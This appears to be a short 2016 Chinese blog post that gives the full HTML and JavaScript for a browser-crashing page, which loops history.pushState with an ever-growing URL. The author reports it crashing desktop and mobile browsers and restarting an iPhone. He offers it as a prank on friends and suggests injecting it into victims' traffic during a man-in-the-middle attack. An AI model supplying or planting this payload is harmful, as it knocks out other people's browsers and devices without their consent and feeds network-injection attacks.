这十二行代码是如何让浏览器爆炸的？（可以整蛊下你的好友）

作者: 龙哥 分类: 其他 发布时间: 2016-02-17 22:56 ė1,749 次浏览

完整HTML代码如下：

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString();
    history.pushState(0,0,total);
}
</script>
</body>
</html>

用记事本编辑，然后改后缀为html，无聊的自己打开试试。

接来下会发生什么？
点开以后，我的状态是这样的：

如果你是PC端用户，点开链接以后，电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死！
如果你是移动端（安卓、iPhone）用户，点开链接以后你的浏览器会闪退！在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启，这一现象倒是没有出现。22：49 修正：iPhone用Safari打开之后链接之后，手机注销重启了！…
思考
这是Bug还是0day?为什么会有这一现象？如何实现的？
有哪些比较有意思的利用姿势？（我先来个:当在执行MITM中间人攻击的时候，可以注入这一段js，来个恶搞整蛊。然后都懂的…）

本文出自 俞凌龙博客，转载时请注明出处及相应链接。

本文永久链接: https://blog.jlwz.cn/188

Ɣ回顶部